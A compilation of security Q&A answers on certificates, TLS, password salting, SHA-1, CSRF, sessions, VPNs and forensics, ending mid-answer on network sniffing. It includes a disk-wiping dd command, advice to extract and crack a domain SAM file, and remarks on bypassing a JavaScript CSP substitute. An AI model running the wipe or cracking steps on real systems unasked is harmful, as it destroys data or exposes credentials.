Why a web server HTTPS certificate can't sign its subdomain HTTPS certificates?

X.509 validation is nominally disjoint from domain names. X.509 was designed in the context of The Directory, a mythical beast which can be thought of as a big, worldwide LDAP directory referencing every server on Earth and elsewhere. (Historically, it went the other way: LDAP is Lightweight Directory Access Protocol, a reduced version of the protocol which was meant to access the Directory.)

In the Directory, entities are designated by their Distinguished Name, a tree-like structure which has no relation with domain names (although some people have forced one into the other with "DC" DN components).

In true X.509, allowing a certificate owner, linked to a domain name, to act as a sub-CA for its own sub-domains is theoretically possible, but requires the use of the Name Constraints extension, which is standard, but almost universally unsupported. The idea would be to issue a certificate containing the name example.com, marked as a CA (Basic Constraints extension with cA set to TRUE), and Name Constraints extension with a "permitted subtree" of value .example.com (this should constrain ulterior certificates to sport host names, and these names may only be in subdomains of example.com). It is a neat idea, but it fails due to lack of support from browsers. So the net effect, if a CA issues such an empowered certificate to a domain, will be one of the two followings:

Client browser rejects the certificate.
Client browser accepts the certificate, but would also have accepted it even if it was not a proper subdomain.

Browser vendors are not keen on implementing this feature because it would be quite useless until commercial CA use it, and commercial CA won't use it until it is implemented by browsers. Moreover, commercial CA tend to prefer it if you buy several certificates from them instead of just one.

To sum up, this is a sad story of X.500 people not getting along well with IP/DNS people, and browsers not implementing the necessary features to get the whole thing to work. Things are unlikely to change in the near future.


No, that means that your certificate is an RSA public key signed using SHA256 algorithm. That certificate is used to check website authenticity: Valid certificate, signed by a trusted CA, matching common name, expiricy date haven't passed and valid from date (I think I'm not forgeting anything)

After that, the symmetric encryption key is negotiated with your server. The key can be generated using (EC)DHE if your server supports it, or it can be exchanged using your certificate as public encryption key to encrypt a random number and use it to generate a key

The encryption and HMAC algorithms used once the keys have been exchanged depends on what your server and the client supports. You can check this using tools such as sslscan

It's usually recommended to use ECDHE for key exchange as it provides Perfect Forward Secrecy. AES is also the standard recommended cipher, but there are alternatives such as Camellia (3DES is pretty common too, but it's discouraged as it's vulnerable to attacks as sweet32). On top of that is a HMAC to ensure messages hasn't been tampered, the recommendation is SHA256, SHA1 has no identified attacks or vulnerabilities as we know but it's not recommended anymore as the output length doesn't provide enough security nowadays

Once the encrypted message arrives the server it check that the MAC is correct and if it is, then decrypts the message


Resume VPN after hibernation (sleeping mode) vs real IP detection

It is possible that the VPN could become disconnected during the resume, and traffic could be sent by the browser without using the VPN. This behavior may be unpredictable, but if revealing your true IP address is undesirable (i.e. part of your threat model), you will want to defend against it happening.
A common way to mitigate this is to create firewall rules that prevent non-VPN traffic from leaving your computer. Some VPN  applications may provide a similar option as a feature.


Link from a Http page to a Https page - is it a security issue?

Yes it is insecure.

The easiest way to attack that is sslstrip, a tools that do a MitM and automatically replace https links by http ones.

The only secure way to do it correctly is to have https on the whole website, and activate HSTS.

Note that even for your unlogged users https is usefull, for example to prevent third-parties (like ISP) to insert ads in your websites without your consent.


Does a user password protect against network attacks, or only physical?

If I create a user in a Linux system with an empty password, does that expose any remote vulnerabilities, or is it only a problem if someone gains physical access to the machine?

It does not expose a remote vulnerability, it is considered a misconfiguration which depends on:

Your SSH configuration. Per default PermitEmptyPasswords is set to no in /etc/ssh/sshd_config.
How the user itself is configured. If the user is allowed shell access or not which can be seen in /etc/passwd.

Assuming that both 1 and 2 apply, you need console (physical) access to your machine in order for this user to be able to login.

There should only be one reason for not setting a user's password and that's when public key authentication is configured. To avoid any confusion, there is a difference between user accounts (uid >= 1000) and service accounts (uid < 1000).


Are there any independent organizations doing (publicly available) IT security research?

If you follow Full Disclosure (http://seclists.org/fulldisclosure/) and bugtraq (http://www.securityfocus.com/archive/1) mailing lists you can see that there are lots of security research by individuals or non-commercial entities.

You should join full disclosure and bugtraq mailing lists and also follow exploits and papers published by http://www.exploit-db.com/ . Some of the commercial vendor advisories are also based on these public advisories by third parties.


How to proceed if a new hash algorithm for passwords is introduced?

It is true that since good servers never store passwords, only password verification tokens (i.e. hashes), then they cannot change the hash function without the user cooperation. By requiring users to reenter their password, they are telling that they already stored passwords in an appropriate fashion (or, at least, not in an horribly weak way).

However, asking users, by email, to reenter their passwords (following instructions in a subsequent email) is very poor practice. Users should be trained never to do such things. This institution is undoing years of patient educational efforts. Moreover, there should not be "special instructions": the process of updating the hash function should be automatic and transparent upon the next login by the user. I find it quite suspicious that anything special should be done by the users at that point -- unless they are planning to enforce one of these dreaded "password policies" which will reject passwords which do not contain letters of both cases, digits, punctuation signs and two Sanskrit words from distinct sūtras.

In my opinion, the proper way to update the hash function for password hashing is to do it transparently over a long period (several months), and to simply "lock out" accounts which have not been used during the whole period. If there is a need to have users really connect in an immediate way, send an email stating that "your account has not been used in 6 months; for security reasons, it will be disabled if you don't connect within the next month, and reactivation will have to be handled through the helpdesk".

@CodesInChaos suggests "chaining" hashes, i.e. using the old hash value as the "password" for the new hash value, at least in a transitory fashion. This works and provides the security benefits of the new hash as long as all of the following hold true:

the old hash was "decent enough" (e.g. it was a MD5 on the password, not the old Unix DES-based hash which truncates passwords to eight characters);
you have a place to store the extra parameters (salt, iteration count...) for the old hash along with the parameters for the new hash (or they have the same format and can thus be shared);
you are ready to assume the CPU cost of computing both hash functions when verifying the password;
if transitioning (i.e. you want the chain hashing only up to the next login for this user), then there is a way to mark the stored hash as "transitional", so that the verifier knows that it must compute the old hash then the new hash.

So it depends on what the old function was, what the new function is, and why you change it. Chaining hashes is certainly a good idea when the previous hash is a simple, unsalted, non-iterated invocation of MD5 or SHA-1.


Per-transfer authorization of file transfers on a per transaction basis

SFTP is a not really intended for what you are trying to accomplish. Anything else you would be implementing would be non-standard.

You may want to create a web app for upload where you can also implement a workflow where there are authorization requests and tickets associated with each request that an authorized user must use in order to initiate the file transfer. You could script something server side and still use SFTP.

In manufacturing and financial services, they may use any of a number of techniques and protocols like MQ, Web Services (SOAP/REST), which can build in additional functionality, rules, etc. There is also old school EDI systems with run sheets, and control files.

This is probably also a better fit for Super User since its really an operational problem (though you still need to implement the correct controls throughout the process).


Is `/dev/urandom` secure to generate a salt on a Virtual Machine?

The salt in a password  just needs to be random enough so that its more or less evenly distributed. The salt is just used to make attacks with precomputed password hashes or rainbow tables infeasible by increasing the needed memory. Thus there is no need for a cryptographically secure random generator. This means that the implementation is secure enough in your case.


SYN packets are a TCP concept. TCP is about opening then using a connection, i.e. a bidirectional tunnel. A connection begins with the three-way handshake: a packet with the SYN flag from the client, then a packet with the SYN and ACK flags from the server, then a packet with the ACK flag from the client. So there will be, for a normal connection, a single incoming packet with the SYN flag, even if gigabytes are data are then exchanged over the connection.

With UDP, there is no "SYN" at all. "SYN" is a flag written in the TCP header of some packets. No TCP, no TCP header, hence no SYN.

For a server which "streams media", the ratio of SYN packets ought to be very low: either the streaming protocol uses TCP, in which case there is only one incoming SYN per connection, or the streaming protocol uses UDP, in which case there is no SYN at all.

Using packet size as a way to detect SYN packets seems kinda stupid. A SYN packet can be unambiguously recognized as such by virtue of the SYN flag being written on it. Any decent IDS system ought to be able to decode TCP and UDP headers, see what packet is which, and look at the SYN flag. See the TCP standard for the header format: the SYN flag is 7th bit of the 14th byte of the header. Relying on the packet size, instead of simply looking at that bit, smells like incompetence.

Also, packet size is not guaranteed. A "SYN" packet is an IP packet which contains a TCP header which features the SYN flag. Both the IP header and the TCP header can contain "options", allowing the size to be changed at will. A SYN packet is not necessarily 40-byte long; this is just the usual size. If IDS systems begin to use packet size as a way to detect scans, then scanners will soon randomize the size of their SYN packets as a countermeasure.


How secure is shared folder feature of virtualbox

A 0-day attack could take advantage of this. No one knows how safe you would be. Consider instead using an encrypted cloud storage to move files. Unfortunately you can never be completely sure with virtualization. Necessary security precautions on the host and guest go a long way. You are probably fine, but keep in mind you are trusting the guest to share more with the host.


Should we trust online banks with our credit card information?

I work in the IT system of a banking company, and as such I know a bit about what happens.

Here is the sequence of events, as I understand it, when a payment goes through:

You send the payment information (BIC, PIN, etc.) to the seller's bank;
The seller's bank transmits the payment request to your bank;
Your bank receives the payment request, and decides to authorize the payment;
That authorization goes back up the chain to the seller's bank, and you get the page telling you that your payment was successful;

Now, what happens if someone in the chain initiates a payment without your consent?
Fundamentally, it relies on the fact that a payment that was authorized in that way is known as depending on an insecure payment request - and intra-bank agreements stipulate that in that case, any fraud costs must be borne by the beneficiary of the payment.

So:

You will see that you have been charged fraudulently;
Your bank will reimburse you;
The seller's bank will reimburse your bank - in the end, the seller's bank will have gained nothing, except being noted for having allowed a fraudulent payment;

At each step of the way, you see that there is a strong trust relationship - between you and your bank, between your bank and the seller's bank. If these trust relationships are broken, then it could very easily end before a court, with very dire consequences (you leaving your bank and outing it as untrustworthy, the seller's bank being outed as untrustworthy and sued by your bank).

In short: the seller's bank would not do that voluntarily, because that could easily mean the end of its business. And if your bank is trustworthy, you should not end up footing the bill anyway. That is true, whether the seller's bank is untrustworthy or compromised.

Now, I understand it very well if you do not wish to leave such information in the hands of a bank you do not personally trust - in that case, I would suggest asking your bank about it - for example, banks can generate a disposable Credit Card number, valid only for a limited time and amount of money.

Also, there are generally rules that stipulate that such information should not be kept any longer than necessary.


Offline malware / script scanner for webfiles (PHP and HTML)

No, malicious code in your PHP file is not a virus or a trojan. Most end user anti-malware tools do not scan for these types of things.

The malicious actions in your web app may be legitimate commands that make sense in a different context. You may want to look into static code analysis tools which analyze code for software design errors.


How does a VPN protect a MITM attack in your network?

If someone is sitting between you and your router, then they will be able to get your data by using any sniffer. Once the connection is made from your router to vpn concentrator( vpn server), then they will be seeing only encrypted data which is of no value to the attacker.


CVE-2020-5250 php vulnerability analysis

Without doing an in-depth analysis, it looks like a case of IDOR (Insecure Direct Object References). This means that the server does not properly enforce access controls; simply knowing a value (in this case, id_address or id_customer) is enough to gain access to the object. By changing these values in a form field, a user could manipulate other accounts that they should not have access to.

The patch seems logical; instead of trusting user-provided form input to determine which user the data belongs to, it now appears to check the user's session data, which cannot be forged by the user.


What protocol is NPS server using to send Secondary Auth to Azure MFA?

When setting up the NPS connector a PowerShell script has to be run. This PowerShell script sets up an authentication method using X.509 certificates. PAP is not passed from the NPS server to Azure cloud.


MD5 is broken in the sense that it is possible to create two pieces of data with the same hash. However, you need to be able to modify both pieces of data.

For example, you can create two images with the same MD5, by manipulating both images. Then if a user or system checks only the MD5 of the file, you can swap the images and the MD5 remains the same.

In your example, it would be possible to create two texts that have the same signature, for an attacker that has a AppId and AccessKey. I don't think that breaks the security of the system, but that depends on how the signature is used.

It is not possible to create a file with an arbitrary MD5, or to find the original data from an MD5 hash by a method other than brute force. So if they keys used in your example are long enough, it is secure against an attacker that does not have an AppId or AccessKey.

However, because MD5 turned out not to be collision resistant it is no longer trusted by many people to be a good hash function. It has a bad reputation and isn't considered suitable for any use. So if you develop a new system, don't use MD5 (or SHA1).


Are malware detection rulesets publicly discoverable?

Finding the signatures is generally easy. They are usually identified as such, and the files downloaded when updating the AV signatures obviously contain signatures.

Now, getting a binary file that somehow is used to detect, is not of much use unless you also know how it is structured (the "language" they use). Which is typically undocumented.

I recommend you to take a look to ClamAV. This is an open-source antivirus, so you have both the rules, and the code that uses it. Neatly documented.

Finally, even if you have a rule and understand it means «bytes 34 28 50 5e 29 37 43 43  29 37 7d 24 45 49 43 41 52 are malicious at position 0x10 of a file», that doesn't embed the knowledge behind treating it as such. Is it part of an infection routine? A packer? An instruction attempting to detect VMs?


Assuming there are no other vulnerabilities in the website I don't believe this is exploitable, as in order to exploit this the attacker would first need to be able to control the contents of that particular cookie. (Which would almost certainly require the use of some other vulnerability.)

However, if there are other vulnerabilities (whether they be client or server-side) in the site this unusual feature could be used to make the impact of those vulnerabilities significantly worse.

For example, if any page on the site is ever loaded over HTTP, a MITM attacker would be able to create a semi-persistent XSS attack by setting the value of this cookie, possibly using the attack to steal data that would normally only be accessible from a more secure HTTPS page (such as cookies with the secure flag set).

Or if the site is vulnerable to a Cookie Tossing attack, that same attack (which would normally only be useful for session fixation and the like) would also open you up to a full-blown XSS attack against affected users.

All-in-all, while this practice may not be terrible I still wouldn't advise it, especially since there are much better ways of getting HTML content from the server onto a page that don't expose you to any new threats.


How to securely transfer password from a registration page to the database

The only safe method for a website to transfer a password to the server is using HTTPS/SSL. If the connection itself is not encrypted, an ManInTheMiddle can modify or strip away any JavaScript sent to the client. So you cannot rely on client side hashing.

You cannot setup a secure connection between client and server on your own, because there is no already shared information. This is like inventing a secret language while the bad guy is listening. That's what SSL is for, if you get an SSL cert for your website from a public CA, then the browsers have built in root certificates for these CA which they use to validate your website. Based on that, the client and server can set up a secure connection.


How to know if my android device has been hacked, using Kali Linux?

It's not so simple and absolute way as you expect! Hackers use (local - remote) exploits to install at least a backdoor on device. The backdoor in most of the cases is an APK (sometimes a binded app).
So here's the way Android AV's scan for exploits (also malwares):

AV have a database of exploit or binded APK signs And other exploit unique signs (like: files on sd, ...)
On every scan you check installed APK sings with your DB (if one of the sings match you detected an exploit)
You should have an analysis team and new exploit discovery strategies, to update your DB regularly.

Important Note:  If your AV have Root access there are many more advanced detection techniques you can implement (Network and packet scanning, ...).


Equivalent of Windows Process Hollowing on Linux/Unix/MacOS

A book, The Art of Memory Forensics, covers Linux-based process hollowing in chapter 25. You can see the module here -- https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py

Their technique looks at the main function and compares what is in-memory to what is on-disk. For Windows, using processhacker (or Process Explorer), you can compare the strings of the binary to the replaced process loaded into memory. It's the same set of techniques.

While unsure what system calls would be changed, it may be different depending on the Linux kernel, distro, and userland. You could use Sysdig Falco to determine characteristics about any Linux malware including and perhaps especially process hollowing and/or shared-library injection.


Can we join a table in this Ruby on Rails Direct Object Reference?

This seems like it is actually a direct object reference vulnerability as you are not injecting any SQL to exploit the vulnerability - just providing whatever ID you want.  Based on the code you have provided there is no way to delete from another table unless the database has cascading deletes setup or something like that.


All the evidences collected could be accepted in a court.

But, the difference is the probative value of your analysis.

If you are mandated by a judge, your work and your expertise will have a very strong influence on future debates. Similarly, if you are accompanied by a bailiff who can attest to your actions during the analysis of the system, the legal aspect will be covered by his function and your analysis will have too a big influence.

Doing a RAM image when possible is a good practice, moreover, take a lot of informations from a live system is good manner to retrieve artifacts. If you can do a timeline between the two analyses you will have a good and clear idea of the system state during his last "power-on".

It's recommended to do a RAM image in first because you could alter the RAM during yours operations on the live system. And if you do the RAM image after,you will have some artifacts of yours operations and not of the system before your intervention.


This is 2015. Has SHA1 been exploited or cracked yet?

As of 2017, SHA-1 should no longer be considered secure. Google and Marc Stevens' group at CWI reported success with collision attacks against the full, non-reduced-round SHA-1, based on Stevens' more limited 2015 results referenced in Nicola Miotto's answer. For the Google announcement, click here.

This does not mean SHA-1 is fully broken, but just compromised. There are three types of attacks on hash algorithms, in order of increasing difficulty/complexity:

Collision Attack: Find any two distinct inputs x and x' that hash to the same output: h(x) = h(x').
Second Preimage Attack: Given some input x and its hash value h(x), find another input x' that also hashes to h(x); i.e. h(x) = h(x')
First Preimage Attack attack: Given a hash value y, find an input x such that x hashes to y: h(x) = y.

The findings only report success with the first scenario. Collision attacks allow an attacker to present two different files as having the same hash signature, thus pretending that they are the same file. This attack has limited utility, and cannot, for example, be used to decrypt SSL/TLS traffic or reverse hashed passwords into their plaintext equivalents. However, if CAs are not careful to add randomness as required after MD5 was similarly broken for collision an attacker might be able to alter a valid certificate to a different identity and/or rights and thereby forge certificates and/or signatures, and if they can also MitM traffic, to impersonate SSL/TLS servers.


What is the difference between host and client ssh key generation?

According to the source code of openssh-portable, the -h flag modifies the certificate type and selects permitted options to None.

Here is the relevant source code:

/* Key type when certifying */
static u_int cert_key_type = SSH2_CERT_TYPE_USER; // L105

/* If -h is set, set certificate type to Host and set cert flags to none. */
case 'h': // L2573
    cert_key_type = SSH2_CERT_TYPE_HOST;
    certflags_flags = 0;
    break;

/* Set the certificate type to whatever value was set before */
public->cert->type = cert_key_type; // L1744

As you can see, that's all the magic. If you used the wrong certificate type, then the verifying end will refuse to accept the certificate, as it was not signed for that purpose. You can't use a client certificate to identify as server, and you can't use a server certificate to authenticate as client. You can however use the same key to create both a client and a server certificate.

As it turns out, you can indeed use a client certificate for purposes of host identification, and vice versa. This seems to me like a bug.


Authentication over SSL using hash and salt

What you want is called a message authentication code. There are different ways to create one. What you describe is a trivial way to create a Hash-MAC, but has some security flaws.
You might be OK with it, if your challenge string is fixed length and you append the "salt", which is actually the key, at the end. But there is a well defined way to generate a HMAC and I would suggest you to use it, because its security was studied. For most programming languages there are also good libraries to create a HMAC which reduces your work (and the things you could do wrong).


Best way for a beginner to become involved in cybersecurity?

The standard answer is: it depends.  Cybersecurity is a HUGE domain with a lot of opportunity.

For instance, there are people who go threat hunting - they monitor network traffic and look for variance in there to understand what's out of the norm.  For those folks, an in-depth knowledge of networking is valuable.

Perimeter security is important.  That also involves a great level of knowledge of networking, packet inspection, and network monitoring tools.

Then there are people who are involved in application-level security.  Having skills in multiple programming languages would be valuable here.

There are people who specialize in hardening devices themselves and device security.  In that case, knowing Linux and Windows security at a deep level, along with a basic understanding of networking, is valuable.

There are people who do penetration testing.  For them, an in-depth knowledge of networking and electronics is valuable, as well as psychology (to hack the human factor).  Also deep familiarity with known vulnerabilities is important.

In some enterprises, administering the firewall falls under the Security Team.  There, a good knowledge of Network traffic, ports, and a basic knowledge of known good/bad hosts would be useful.  (That may be seen as an entry-level IT Security responsibility.)

In light of the above, there are multiple more possibilities that I haven't touched on.

If it were me, I'd suggest finding something to be excellent at.  Once you have deep knowledge, that may transfer over to other areas.  So if you are excellent at Python, the knowledge of how to do something programmatically would transfer over to C++ - you'd know what to do but would just need to figure out how to write the code.  Knowing what to do is the hard part; writing code to do it is easier.

If you want to work in a medical environment, knowledge of HIPAA (in the US) is valuable.  I assume that the UK has its own privacy laws, so knowing them for the medical environment would also have value if that's the route you want to go.  There an understanding of an electronic medical record as well as database security would be invaluable.

I've read that Perl is, although not dying, also not as popular as it used to be.  Given the choice, I'd think that staying with Python, which you understand a little of, would give you the quickest route toward understanding programming. The concepts are the same across platforms (the concepts behind if and loops don't change; only their operation and coding).

I'd welcome comments from some of the other folks here, but my first recommendation would be to find what you are really interested in and passionate about, and then study that.  Find something that you just can't put down and learn the heck out of that.  You'll be doing it 40+ hours per week and will always be learning more, so why not make a living at something you enjoy?


Are there any reviews or user experiences with Secretsync?

It's fairly straightforward to understand SecretSync, in my opinion. It looks like they require Java, and one HOPES they are using the built-in crypto libraries to provide their 256-bit AES symmetric key crypto rather than rolling their own implementation.

HOWEVER, they are not as secure as you may require.

According to their FAQ, they do one of two things:

Give you an encryption key
Allow you to derive one from a passphrase using PBKDF2.

If they give you a key, then they know the key, but they don't have access to your files (DropBox is the file distribution medium).
If you use your own passphrase, then they STILL use their own key, but it becomes a salt value for the generated key from the PBKDF2 function.

So they do not appear to use a different key per file, but rather one key for all files.  This wouldn't normally be a problem with AES, but it suffers from problems associated with all of the other deficiencies in their model.

Having a symmetric key generated FOR you is an issue regardless of the asymmetric relationship between secretsync and dropbox.  I'd like to know what security the organization has on their end.

According to the FAQ they appear to be susceptible to a denial of service (regardless of how they spin it): "Will I be able to decrypt my files if your service is no longer available?"

Also, because the account is web-accessible, any number of social-engineering attacks can allow the SecretSync account password to be changed by having access to the account email address.  Having this account access will mean you get access to the secret key from their server.  This would be more tricky to access if you generated your own key, but the complexity of the function is reduced from one of finding an AES 256-bit key to one of brute-forcing passwords (or phrases).  We know humans are the weak link in security.  Having access to ONE encrypted file, plus access to their server-generated key means you can decrypt any file you want (with a possible side-challenge of needing to first brute-force the user's password they may have set when signing up).

It is also not clear to me what happens if you need to change your password on the key.  Do they re-encrypt everything?  This is a deficiency as well.


"Why does using a random salt which can be found in the database add security over using a constant salt which can be found in the scripts?"

Because the "constant salt" (which would really be better called "pepper") is the same for all the password hashes, and therefore does not satisfy the primary purpose of a salt — ensuring that, even if two users have the same password, their hashes will be different.

In particular, let's say you have 1000 users, and that your user database with the password hashes gets stolen by an attacker.  Very likely, the attacker can also steal your scripts, and thus also the pepper included in them.  (This may not always be the case — for example, SQL injection attacks might compromise the database without necessarily compromising the application code — but you should not assume that it can't happen.)

To crack the password hashes, the attacker can then just guess random passwords by brute force (or, for a first pass, run through a list of common passwords), hash each of them with your fixed pepper and look the resulting hash up in a database of the stolen hashes.  Notably, they need to do this only once for each guessed password, just as if you hadn't used the pepper at all.

However, if you had instead used a unique salt, stored in the database, for each password hash (with or without the pepper as well), then hashing a guessed password with one of the salts and comparing the result with the stolen hash just tells the attacker whether that particular user was using that particular password.  Thus, the time needed to crack all the passwords (or to crack just any one or any n of them) is increased by a factor of 1000 (the number of users in your database).

Or, to look at it another way, not using a unique salt for each password hash in a 1000-user database makes the attacker's job 1000 times easier.  Even if you used, say, PBKDF2 with an iteration count of 1000 to slow down brute force attacks, well, guess what — not using unique salts just ate away any benefit you got from using PBKDF2.  Oopsie.

Now for the other part of your question, the article you linked to suggests a rather complicated method for choosing the salt:

$salt = hash('sha256', uniqid(mt_rand(), true) . 'something random' .
             strtolower($username));

Why so complicated, when the only property the salt really needs to satisfy is uniqueness?

Well, the salt really should not just be unique within your database, but globally unique, so that even an attacker with multiple stolen databases won't find cracking them any easier.  In some attack scenarios, it's also desirable for the salts to be unpredictable, so that an attacker can't start precomputing a password table before they've stolen your database, hopefully giving you more time to respond if you detect the breach.

A relatively simple way to achieve both of these goals is to make the salts sufficiently long and random (where sufficiently long means, say, at least 100 bits of entropy).  However, generating truly random salts can be kind of tricky, especially in PHP which, unfortunately, still lacks a standard portable method for obtaining cryptographically secure random numbers.

Thus, the example code you linked to appears to be going for a robust "belt and suspenders" approach: by concatenating several pieces of data of varying randomness and uniqueness and feeding them to a cryptographic hash function, we can be fairly sure that the output will be as unique and random as the sum of the inputs (up to limits imposed by the hash output length, anyway, which for a 256-bit hash like SHA-256 are basically infinite).  In particular, as long as at least one of the inputs is unique (resp. random), we can be essentially sure that the output will also be so.

As a general principle, this is a perfectly good and commendable approach to security.  One might quibble about the specific choice of inputs suggested in the article (and, in particular, about the lack of even any attempt to obtain true cryptographic randomness from sources like openssl_random_pseudo_bytes() or /dev/urandom on Unix systems), but at least the general design is sound.

In particular, note that the suggested inputs to the hash function include the following:

the username (although why it's lowercased, I have no idea), ensuring that all users on the system will have unique salts,
a hopefully unique per-system identifier (the "something random"), which should ensure that the same user will have different salts on different systems,
the current time (obtained via uniqid()), which ensures that a user will get a different salt every time they change their password, and
various other bits of (pseudo)randomness obtained via mt_rand() and uniqid(), which may introduce some unpredictability (and, at least in some hardened versions of PHP, possibly even some real randomness), and at least won't do any harm.


What are the security risks of using public address schemes for the DHCP of your VPN'd Users?

It does not add any major risk.

The fact that the range is public (versus private like 10.0.0.0/8) doesn't change much as attempts to contact it from the outside (from an attacker for example) would still end up going to the legitimate owner of the IP block.

Furthermore a well-configured network should have a firewall that would block access to those VPN clients from the outside if the packets manage to reach the network for some reason.

The only issue could be if the legitimate owner of the IP block is malicious and sets up malicious services on those IPs, and somehow your users try to access your company's VPN range but instead end up accessing the real IPs which are malicious (if for example their VPN goes down).

However it is very bad practice, as now those VPN clients can't contact the "real" 222.222.222.0/24 subnet, and depending on how the network is designed it could be that either the entire company's network can't reach 222.222.222.0/24, or that some computers in the company would reach the real 222.x.x.x instead of reaching the VPN clients.

Either get the company to acquire/rent out more IPv4 blocks for their VPN clients, or use private addresses (and NAT for v4) and move to IPv6 for everything else.


You can get more details from Thomas Pornin's link, but the short answer is that the client uses the public key to make a new key and encrypts it with the public key so that only gmail can decrypt it.  It sends this back and the two can start communicating.  Since the legitimate client expects communication to use the key that only it and gmail can know, the man in the middle can't break it without knowing Gmail's private key which is not disclosed.


On the fly encryption for unencrypted cloud services?

http://lmgtfy.com/?q=+On+the+fly+encryption+for+unencrypted+cloud+services%3F ;-)

If you use such a service, you lose all of their web based services. So they effectively become purely a storage layer. Not a terrible idea, but removes much of the value from platforms like Dropbox with their countless integrations and so on.

There are many such services, with varying featuresets. Mobile supports tends to be patchy, but look at BoxCryptor, SafeMonk and my friends from Plug n Play, CrossCloud.

No need to use something like Fuse, you can use something like encfs if you really want to, but it'll be a pain to decrypt on mobile. There are also some tools that copy one directory to another, and sync the changes, encrypting from one to the other. So you have the encrypted directory in your cloud storage provider, and the unecrypted one on disk.

Personally, I'm using mega.co.nz because they handle encryption client side, have mobile apps, and include 50GB for free.


Off the shelf JavaScript based CSP alternative - is it safe?

It's definitely not as safe as a CSP. All you would need to do is create an empty iframe and you can get a full set of unmodified globals from that iframe's window object.

Without a CSP, it would also be relatively easy to send data out to another domain using GET parameters in the src of an img tag for example. You could also use a form to send POST data via JavaScript (using an iframe you can even avoid a redirect).


Custom CSRF protection mechanism without persisting tokens

Personally, I've never seen someone roll their own alternative to an industry standard for security and have it turn out as an acceptable solution.  One phrase I hear thrown around a lot in the security community is "Don't roll your own".

Reading over what you are doing it seems like you might be too smart for your own good.  This seems like a complex solution that could be less secure than just creating a CSRF token.  If someone inherits your code their head will likely explode.

I'm not sure sure where you are storing the token you are creating, but if it's in a cookie there is no protection at all.  If you are placing your token into a hidden field in the form then you are essentially using a weirdly modified version of double submit cookie CSRF protection.

My advice - don't go down this road.  At best it will be more complex and as secure.  At worst it will be more complex and won't work.


How can I connect a USB device to a virtual machine while bypassing the host?

Well you have a chicken and egg problem here. For the hypervisor to give a USB device directly to a VM, it must first be able to identify it, by comparing its vendor id and product id with what is declared for the guest.

So you can (on recent VirtualBox versions on Windows hosts) pass an USB device directly to the guest with only a minimal action of the host(*) (just read ids but do not mount the device), provided you can be sure of the vendor id and the product id. But you cannot know that before you have mounted the device... And I have only used VBox on Windows, so I cannot say more for other host OSs

(*) According to its documentation, VirtualBox declares

  On Windows hosts, a kernel mode device driver provides USB proxy support. It implements both a USB monitor, which allows VirtualBox to capture devices when they are plugged in, and a USB device driver to claim USB devices for a particular virtual machine.


What are requirements for a cookie authenticating an user?

Won't necessarily be sent over SSL

There is NO secure way to do this at all if this is the case. Fix that and you have your choice of client based sessions or server side sessions, but BOTH methods will require that session data is only EVER sent over SSL, otherwise sessions are worthless.

Server Side Sessions

In a database common to both backends set an entry in a table with a generated unique session ID, session data, and other maintenance fields that would be useful(time of last activity, etc.)

The table should look like the following:

id ( text, 40, not null ), data ( jsonb ), lastCom ( timestamp )

These sessions are often used because without special server side code a session can be remotely terminated purely by deleting the entry of the session in the database.

Client Side Sessions

Often used because with proper SSL and backend invalidation logic these are JUST as secure as Server Side Sessions. However they require backend logic to invalidate sessions otherwise the session isn't secure because there is no remote way for an admin to terminate the session. The user owns the cookie, and just because it failed once doesn't mean they can't retry with the EXACT same data. This is because ALL maintenance on the session is done on the user side, so server side validation is also still required, but doesn't mean you need a database. It just means you need to send an updated cookie with each request(changing the maintenance data inside, like a validity time stamp)

Both methods are plenty secure and can be implemented any number of ways( JWT, passport, etc, etc), but it's up to you to choose which method you'd like to do. Just remember, session data should only EVER be sent over SSL


Best strategy to share some sensitive user data between Node and PHP

From my perspective your case fits very well with JSON Web Token (JWT) approach. You can encode all necessary data in JWT and pass it with requests. Your Node.js application should verify signature of JWT and extract all needed data from it. If something is too big / complex to put in JWT, than backend application may request for this data another backend service for it via your backend network security mechanisms.


What files would I be able to view as localhost?

In a Microsoft environment, your best bet is probably the trace.axd file.  This is often enabled and is set to local only so you would be able to access it from localhost.

http://msdn.microsoft.com/en-us/library/vstudio/bb386420(v=vs.100).aspx

This tracing info can include lots of debugging material, developer output and environment configuration data.


How can I assess the strength of user passwords in my office environment?

Updated in reference to your update:

For a password strength audit you just want to grab the domain SAM file and run your brute forcer of choice on it. If you prefer to use rainbow tables, you can just run the hashes through your rainbow table tool.

For most rainbow tables providers, the idea is that you provide a portion of rainbow table in return for a download of the larger store. A google search will find you a few options here.

A terabyte is probably a reasonable start, however it makes sense to download a range of rainbow tables relevant to your environment, so you may want to reserve a few terabytes - it is so cheap these days it makes sense to over-spec storage space.


Is there a study on how many websites are saving passwords as plain text?

I do not know about any studies on this but there is a site called "Plain Text Offenders".
This site lists other sites which show signs of plain text password saving (for example, they are able to send your password back if you ask for a new one).


hparm -I /dev/sda does not report a Security section - should I be concerned?

A look at the hdparm source code reveals that the -I option triggers an ATA "identify" command, to which the drive responds with a sequence of 256 16-bit integers, that encode the drive capabilities. Among them are the "security features". hdparm then proceeds to print out these capabilities in human-readable format.

If the integers don't specify support for any of the security features (password, secure erase) then it skips the "Security" section altogether:

    /* security */
    if((eqpt != CDROM) && (like_std > 3) && (val[SECU_STATUS]
       || val[ERASE_TIME] || val[ENH_ERASE_TIME]))
    {
            printf("Security: \n");

Since you don't see a "Security" section, then this means that the drive declares itself completely unable to do security-related things. Namely, you cannot lock the drive with a password, and you cannot do a "secure erase" on it: the drive simply does not know how to do that.

After all, these are (from the protocol point of view) optional features, meaning that any specific drive may lack them. That's what you observe in this case.

Now the "secure erase" is about preventing leakage of old data. You don't need it for a drive you just bought; a "secure erase" would not guarantee you against any hardware backdoor either. What you want to do is to logically reset the drive so that it appears to be "clean" from the OS point of view. This is done with a simple dd:

dd if=/dev/zero of=/dev/sdX bs=512 count=1000

(with sdX to be replaced with the appropriate drive letter). This call will bombard the first thousand of sectors with zeros, in particular removing any partition table.

Notes:

Be extra careful with the dd parameters, because it is easy to wipe out the wrong disk. "dd" is also known as "disk destroyer".
You may want to reboot (or unplug/replug the disk if it is in some hotplug USB cradle) so that your kernel reloads the partition table (in this case, notices the lack of partition table).


It depends on how the network is set up and how they are sniffing.

Broadcast Network - Passive

With passive sniffing on a broadcast network, everybody sees everything. In particular, if B is doing a fairly standard sniff (e.g. default settings in tcpdump), then A not only sees all traffic from B and C, but can detect that B is sniffing through "leaked" DNS requests.

Switched Network - Arp Cache Poisoning

